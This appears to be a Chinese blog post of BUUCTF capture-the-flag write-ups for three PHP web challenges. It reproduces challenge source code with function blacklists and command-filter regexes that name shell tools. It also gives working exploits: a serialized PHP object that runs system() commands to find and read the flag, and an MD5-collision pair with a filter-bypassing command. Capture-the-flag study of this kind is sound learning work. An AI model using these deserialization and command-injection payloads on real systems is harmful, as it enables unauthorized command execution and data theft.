1.BUUCTF刷題-[強網(wǎng)杯 2019]高明的黑客
1-1
下載源碼打開看一下，有很多的shell，大多應(yīng)該都是無用的。這道題需要寫py腳本來找到能用的腳本。不過我連shell也看不太懂。
2.BUUCTF刷題-[網(wǎng)鼎杯 2020 朱雀組]phpweb
訪問/index.php頁面，查看post表單傳參，發(fā)現(xiàn)func傳了一個函數(shù)名，p傳遞參數(shù)，先嘗試一下system函數(shù)。
2-1
應(yīng)該是有過濾關(guān)鍵詞，嘗試用file_get_contents讀一下源代碼。
2-2
嘗試分析一下源碼。
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
//黑名單
function gettime($func, $p) {
$result = call_user_func($func, $p);
//第一個參數(shù) callback 是被調(diào)用的回調(diào)函數(shù)，其余參數(shù)是回調(diào)函數(shù)的參數(shù)。
$a= gettype($result);
if ($a == "string") {
return $result;
//結(jié)果為字符串時返回
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
//析構(gòu)函數(shù)
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
//strtolower() 函數(shù)把字符串轉(zhuǎn)換為小寫。
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
可以考慮傳入反序列化函數(shù)，然后用序列化內(nèi)容完成注入。
構(gòu)造序列化內(nèi)容：
<?php
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
}
$p=new Test();
$p->func="system";
$p->p="ls /";//返回主目錄信息
//$p->p="find / -name 'flag*'" 查找flag文件
echo serialize($p);
?>
傳入的payload為：
O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}
獲得主目錄，但是flag不在主目錄下，接下來查找一下flag文件在哪，然后直接打印即可。
<?php
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
}
$p=new Test();
$p->func="system";
$p->p="cat $(find / -name flag*)";
echo serialize($p);
?>
3.BUUCTF刷題-[安洵杯 2019]easy_web
get表單中傳遞img和cmd兩個參數(shù)，其中img默認(rèn)參數(shù)給出。看了大佬的wp，線索在img里，看這字符的種類，應(yīng)當(dāng)是base64加密，用base64連續(xù)解密兩次，得到"3535352e706e67"，一串十六進(jìn)制數(shù)，轉(zhuǎn)成字符串為"555.png"，這應(yīng)該就是頁面所顯示圖片的文件名。
對index.php進(jìn)行上述加密過程，最后得到"TmprMlpUWTBOalUzT0RKbE56QTJPRGN3"。用burp抓包可以看到源碼的base64加密，進(jìn)行解密就得到了源碼。
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi～ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
繞過md5強判斷，再傳入沒有被過濾的命令即可。
?cmd=sort%20/flag
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
